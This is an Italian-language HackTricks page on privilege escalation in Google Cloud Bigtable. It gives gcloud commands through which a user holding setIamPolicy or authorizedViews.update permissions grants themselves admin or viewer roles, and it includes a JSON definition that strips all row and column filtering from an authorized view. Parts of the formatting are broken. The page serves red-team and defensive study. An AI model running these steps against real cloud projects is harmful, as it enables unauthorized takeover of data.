GCP - Bigtable Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Bigtable

Per maggiori informazioni su Bigtable consulta:

GCP - Bigtable Enum

bigtable.instances.setIamPolicy

Permessi: bigtable.instances.setIamPolicy (e di solito bigtable.instances.getIamPolicy per leggere gli bindings correnti).

Possedere la policy IAM dell’istanza ti permette di assegnarti roles/bigtable.admin (o qualsiasi ruolo custom) che si propaga a ogni cluster, tabella, backup e vista autorizzata nell’istanza.

Assegnati il ruolo bigtable.admin sull'istanza ```bash gcloud bigtable instances add-iam-policy-binding \ --member='user:' \ --role='roles/bigtable.admin' ```

Tip

Se non puoi elencare i binding esistenti, crea un nuovo documento di policy e applicalo con gcloud bigtable instances set-iam-policy, purchĂŠ tu rimanga incluso nella policy.

Dopo aver ottenuto questa autorizzazione consulta la Bigtable Post Exploitation section per ulteriori modi di abusare delle autorizzazioni di Bigtable.

bigtable.tables.setIamPolicy

Permessi: bigtable.tables.setIamPolicy (opzionalmente bigtable.tables.getIamPolicy).

Le policy dell’istanza possono essere bloccate mentre le singole tabelle vengono delegate. Se puoi modificare l’IAM della tabella puoi promuoverti a proprietario del dataset target senza toccare altri carichi di lavoro.

Concediti il ruolo bigtable.admin sulla tabella ```bash gcloud bigtable tables add-iam-policy-binding \ --instance= \ --member='user:' \ --role='roles/bigtable.admin' ```

Dopo aver ottenuto questo permesso, consulta la Bigtable Post Exploitation section per altre tecniche per abusare delle autorizzazioni di Bigtable.

bigtable.backups.setIamPolicy

Permissions: bigtable.backups.setIamPolicy

I backup possono essere ripristinati su qualsiasi istanza in qualsiasi progetto che controlli. Prima, concedi alla tua identità l’accesso al backup, poi ripristinalo in un sandbox dove detieni ruoli Admin/Owner.

Se hai il permesso bigtable.backups.setIamPolicy potresti concederti il permesso bigtable.backups.restore per ripristinare vecchi backup e provare ad accedere a informazioni sensibili.

Prendi possesso dello snapshot del backup ```bash # Take ownership of the snapshot gcloud bigtable backups add-iam-policy-binding \ --instance= --cluster= \ --member='user:' \ --role='roles/bigtable.admin' ```

Dopo aver ottenuto questo permesso consulta la Bigtable Post Exploitation section per vedere come ripristinare un backup.

Aggiorna authorized view

Permissions: bigtable.authorizedViews.update

Authorized Views sono pensate per oscurare righe/colonne. Modificare o eliminare tali viste rimuove i vincoli di controllo granulare su cui i difensori fanno affidamento.

Aggiorna authorized view per ampliare l'accesso ```bash # Broaden the subset by uploading a permissive definition gcloud bigtable authorized-views update \ --instance= --table= \ --definition-file=/tmp/permissive-view.json --ignore-warnings

Json example not filtering any row or column

cat <<‘EOF’ > /tmp/permissive-view.json { “subsetView”: { “rowPrefixes”: [“”], “familySubsets”: { “”: { “qualifierPrefixes”: [“”] } } } } EOF

Describe the authorized view to get a family name

gcloud bigtable authorized-views describe
–instance= –table=

</details>

Dopo aver verificato questo permesso nella [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) per vedere come leggere da un Authorized View.

### `bigtable.authorizedViews.setIamPolicy`

**Permessi:**  `bigtable.authorizedViews.setIamPolicy`.

Un attaccante con questo permesso può concedersi l'accesso a un Authorized View, che può contenere dati sensibili a cui altrimenti non avrebbe accesso.

<details><summary>Concediti l'accesso all'Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'

Dopo aver effettuato questo controllo dei permessi nella Bigtable Post Exploitation section per verificare come leggere da una vista autorizzata.

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks